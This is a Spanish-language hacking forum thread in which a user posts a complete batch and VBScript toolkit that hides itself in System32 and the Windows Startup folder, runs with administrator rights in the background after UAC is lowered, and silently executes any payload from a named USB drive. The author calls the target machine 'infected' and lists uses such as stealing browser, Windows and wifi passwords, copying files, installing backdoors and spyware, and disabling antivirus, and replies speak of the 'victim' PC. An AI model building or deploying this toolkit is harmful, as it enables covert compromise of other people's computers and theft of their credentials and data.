comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Batch] - Ejecutar automaticamente un payload desde USB

  • 3 Respuestas
  • 6336 Vistas

0 Usuarios y 2 Visitantes están viendo este tema.

Desconectado Hello_World

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Twitter: twitter.com/H3LL0WORLD
« en: Mayo 08, 2016, 12:52:14 pm »
Hello, World.

Quizas muchos aquí conozcan o hayan oido acerca de la USB Rubber Ducky y su peculiar caracteristica de auto-ejecutar payloads con solo conectarla en una computadora o cualquier dispositivo que se pueda manejar usando un teclado; ya que esta emula ser uno.

Bueno, hoy veremos como hacer algo similar aunque sin gastar ni un dolar (bueno, necesitaremos una USB).

El codigo a usar seria el siguiente:
Esta es una versión comentada, ademas de que se toma la molestia de imprimirnos si ha detectado o no la USB
(Espero que se explique por si mismo o sino preguntar en los comentarios D:)

Código: You are not allowed to view links. Register or Login
REM *** %WINDIR%/SYSTEM32 ***
@ECHO OFF
:WHILE
CLS
REM *** Darle a la variable USBDrive la letra de la Usb en el caso de que haya una Usb con el nombre indicado ***
for /f "tokens=3 delims= " %%A in ('ECHO list volume ^| diskpart ^| findstr "HELLOWORLD"') do (set USBDrive=%%A:)

REM *** Si la variable esta vacia espera 3 segundos y vuelve a comprobar ***
if [%USBDrive%] EQU [] (

ECHO [*] USB:      NO!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD:  NO!
TIMEOUT>NUL /T 3
GOTO :WHILE

REM *** En el caso de que la variable no este vacia (Significa que tiene la letra de nuestra USB) ***
REM *** Ademas de que exista el payload que vamos a ejecutar (Esto evitará que nos muestre algun error, en el caso de que intentemos ejecutar un payload que no existe) ***
) else if exist %USBDrive%\Payload.bat (

ECHO [*] USB:      OK!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD:  OK!

REM *** Entonces 'Rompe' el bucle y ejecutamos el payload... ***
GOTO :BREAK

REM *** De no cumplirse las anteriores condiciones (Significa que la USB con el nombre esta insertada, pero el payload no existe) ***
) ELSE (

ECHO [*] USB:      OK!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD:  NO!

TIMEOUT>NUL /t 3
SET USBDrive=
GOTO :WHILE
)

:BREAK

REM *** Aqui es cuando se ejecuta el payload  ***
REM *** EJECUTAR PAYLOAD OCULTO *** wscript.exe Ocultar.vbs %USBDrive%\Payload.bat

START %USBDrive%\Payload.bat

REM ** ESPERA 90 SEGUNDOS Y VUELVE A COMPROBAR, ESTO HACE QUE PODAMOS INSERTAR TANTAS VECES COMO QUERRAMOS LA USB (CON PAYLOADs DIFERENTES), SIN NECESIDAD DE ESPERAR A QUE LA PC SE REINICIE ***
CLS
ECHO PAYLOAD EJECUTADO
TIMEOUT>NUL /T 0
ECHO ESPERANDO 90 SEGUNDOS PARA VOLVER A COMPROBAR
TIMEOUT>NUL /NOBREAK /t 90

REM *** RESETEA EL VALOR DE LA VARIABLE ***
SET USBDrive=
GOTO :WHILE

Cuando no hay ninguna USB con el nombre indicado:


Cuando hay una USB con el nombre indicado, pero no existe el "payload.bat"


Ahora solo faltaria hacer que se ejecute al inicio de Windows y de preferencia en segundo plano.
Bien, usaremos este script de windows para ejecutar en segundo plano al siguiente bat.
Este lo pondremos en la ruta: "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\"

Código: You are not allowed to view links. Register or Login
set objshell = createobject("wscript.shell")
objshell.run "C:/Windows/System32/Ejecutar.bat",vbhide

Con el archivo "Ejecutar.bat" nos encargaremos de ejecutar el archivo de espera "Esperar.bat" con permisos de administrador y en segundo plano.
Asi el payload (payload.bat) no solo se ejecutará en segundo plano sino que tambien se ejecutará con permisos de administrador.

Código: You are not allowed to view links. Register or Login
PowerShell Start %WINDIR%/System32/Esperar.bat -Verb runAs -WindowStyle Hidden

Para esto es recomendado cambiar la configuracion del control de cuentas de usuario "UAC"
Podemos ir al panel de control/bla-bla-bla/bla-bla-bla/UAC
o
presionamos WIN + R y escribimos UserAccountControlSettings.exe


Lo ponemos en la parte inferior  :)


La versión 'final' para el archivo "Esperar.bar" seria esta (la otra estaba comentada y configurada para 'pruebas').
Como podran ver es claramente una versión simplificada.

Código: You are not allowed to view links. Register or Login
REM *** %WINDIR%/SYSTEM32 ***
:WHILE
for /f "tokens=3 delims= " %%A in ('ECHO list volume ^| diskpart ^| findstr "MIUSB"') do (set USBDrive=%%A:)
if [%USBDrive%] EQU [] (
TIMEOUT /T 3
GOTO :WHILE ) else if exist %USBDrive%\Payload.bat (
GOTO :BREAK) ELSE (
TIMEOUT /t 3
SET USBDrive=
GOTO :WHILE)

:BREAK
wscript.exe Ocultar.vbs %USBDrive%\Payload.bat

TIMEOUT /t 90
SET USBDrive=
GOTO :WHILE

Por si no lo notaron, para ejecutar el payload usaremos otro script de windows llamado "Ocultar.vbs".
Espero el nombre sea suficientemente descriptivo :D

Código: You are not allowed to view links. Register or Login
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Hasta aquí ya quedaria todo funcionando correctamente (en segundo plano e iniciando con windows)
Pero, copiar cada archivo a su ruta seria algo tedioso y la intencion es usar el menor tiempo posible y mientras se pueda ¿Por qué no?.

Nuevamente con la ayuda de un script de windows "Copiar.vbs" ejecutaremos un segundo en segundo plano el cual ya explicaré su función.

Código: You are not allowed to view links. Register or Login
set objshell = createobject("wscript.shell")
objshell.run "Run.bat",vbhide

El archivo "Run.bat" será este:
Código: You are not allowed to view links. Register or Login
REM  UBICACION --> "CARPETA RAIZ USB"
REM Esto no es necesario, pero ... pero bueno es costumbre
@ECHO OFF & CLS

REM Le pasamos el valor del comando "CD" (nuestra ubicacion actual) a la variable "HERE"
FOR /F "TOKENS=*" %%%% in ('CD') DO (SET HERE=%%~%%)

REM Lo guardamos en un documento de texto para importarlo para luego saber la ruta de los archivos ya que al ejecutar como administrador un bat, nos cambia el directorio a "%WINDIR%\System32\"
ECHO %HERE%Docs>%tmp%\Current.txt

REM Usamos powershell para ejecutar como administrador un nuevo bat llamado "Copiar.bat" el cual se encuentra junto con los demas (arranque.vbs, ejecutar.bat, esperar.bat y ocultar.vbs) en la carpeta "Docs"
PowerShell Start %HERE%/Docs/Copiar.bat -Verb runAs -WindowStyle Hidden
EXIT

El archivo "Copiar.bat" seria:
Código: You are not allowed to view links. Register or Login
REM Importamos la ubicación desde el archivo creado anteriormente
for /f "tokens=*" %%%% in ('More %tmp%\Current.txt') do (set HERE=%%~%%) & Del /q "%tmp%\Current.txt"

REM Nombres de los ficheros a copiar
Set F1=Arranque.vbs
Set F2=Ocultar.vbs
Set F3=Ejecutar.bat
Set F4=Esperar.bat

REM Copiamos los archivos a sus respectivar rutas
REM La unicar ruta 'obligatoria' es la de inicio
Copy "%HERE%\%F1%" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
Copy "%HERE%\%F2%" "%WinDir%\System32\%F2%
Copy "%HERE%\%F3%" "%WinDir%\System32\%F3%
Copy "%HERE%\%F4%" "%WinDir%\System32\%F4%
REM Importamos la ubicación desde el archivo creado anteriormente
for /f "tokens=*" %%%% in ('More %tmp%\Current.txt') do (set HERE=%%~%%) & Del /q "%tmp%\Current.txt"

REM Nombres de los ficheros a copiar
Set F1=Arranque.vbs
Set F2=Ocultar.vbs
Set F3=Ejecutar.bat
Set F4=Esperar.bat

REM Copiamos los archivos a sus respectivar rutas
REM La unicar ruta 'obligatoria' es la de inicio
Copy "%HERE%\%F1%" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
Copy "%HERE%\%F2%" "%WinDir%\System32\%F2%
Copy "%HERE%\%F3%" "%WinDir%\System32\%F3%
Copy "%HERE%\%F4%" "%WinDir%\System32\%F4%

REM Ejecutamos el archivo de arranque; asi quedará funcionando desde ese momento.
"%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"

Exit
REM Ejecutamos el archivo de arranque; asi quedará funcionando desde ese momento.
"%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"

Exit

Finalmente, todo lo que debemos hacer es poner el nombre de nuestra USB en el archivo "Esperar.bat" y hacer doble clic en el archivo "Copiar.vbs"

Como resultado final una vez 'infectado' un ordenador podremos correr un payload con solo conectar la USB, en segundo plano y con permisos de administrador.

¿Que podemos hacer?

Lo que nuestro conocimiento nos permita  8).

Ejms:

[ESTOS 4 PAYLOADS Y SUS DEMOS LAS PUEDES ENCONTRAR EN ESTA LISTA DE REPRODUCCION EN YT]

   Robar contraseñas de navegadores
   Robar contraseñas de windows
   Extraer contraseñas de las redes wifi
   Copiar o extraer archivos

[TAMBIEN...]
   Crear backdoors
   Instalar malware, spyware
   Desactivar el AV
   Tirarse la PC
   Etc...

¿Desventajas?

El unico problema seria que la primera vez tenemos que iniciar el script manualmente, pero vamos; solo un par de clics y es TODO.

Lista de reproduccion con demostración, explicación, configuracion y ejecución de payloads


Saludos!!

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5331
  • Actividad:
    56.67%
  • Reputación 29
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Mayo 08, 2016, 02:54:21 pm »
Muy pero muy bueno bro!
Mil gracias por el aporte! Te felicito por el material!

Saludos!
ANTRAX


Desconectado David Bassara

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Agosto 18, 2017, 02:28:15 am »
Gracias Bro!, es genial lo que aportaste, pero tengo la duda para ejecutarlo por primera vez toca ejecutarlo como admin manualmente en el PC "victima"?

Desconectado grep

  • *
  • Underc0der
  • Mensajes: 178
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
    • Grep's personal site
« Respuesta #3 en: Agosto 19, 2017, 02:12:47 pm »
Para que funcione como debe es necesario que se deshabilite la funcionalidad UAC (User Account Control).

Si esto no se hace el usuario va a ser notificado por cada vez que intente ejecutarse el script Ejecutar.bat (porque intenta ejecutar Esperar.bat en modo privilegiado) y por cada vez que intente ejecutarse Esperar.bat (porque el comando diskpart es una aplicacion que puede hacer cambios en el equipo y porque Payload.bat posiblemente necesite los privilegios de administrador).

Saludos

 

¿Te gustó el post? COMPARTILO!



""MSN"" en batch

Iniciado por Elle Lawliet

Respuestas: 6
Vistas: 2215
Último mensaje Julio 18, 2011, 01:35:47 am
por JaAViEr
[Bash] Keylogger para robo de password de root desde session de usuario estandar

Iniciado por B3N

Respuestas: 2
Vistas: 2243
Último mensaje Junio 25, 2015, 09:34:52 pm
por B3N
MD5 - SHA1 Decrypter Underc0de desde la Terminal

Iniciado por L0ki

Respuestas: 0
Vistas: 1571
Último mensaje Marzo 27, 2013, 06:51:15 pm
por L0ki
Detecta Autorun.Inf + Eliminación de Archivo Infectado - JaAViEr - Batch

Iniciado por JaAViEr

Respuestas: 4
Vistas: 1982
Último mensaje Julio 18, 2011, 06:36:47 pm
por LucaSthefano
[Código-Batch] Consola de Comandos Versión Arcoiris - JaAViEr

Iniciado por JaAViEr

Respuestas: 0
Vistas: 1352
Último mensaje Julio 17, 2011, 05:29:39 am
por JaAViEr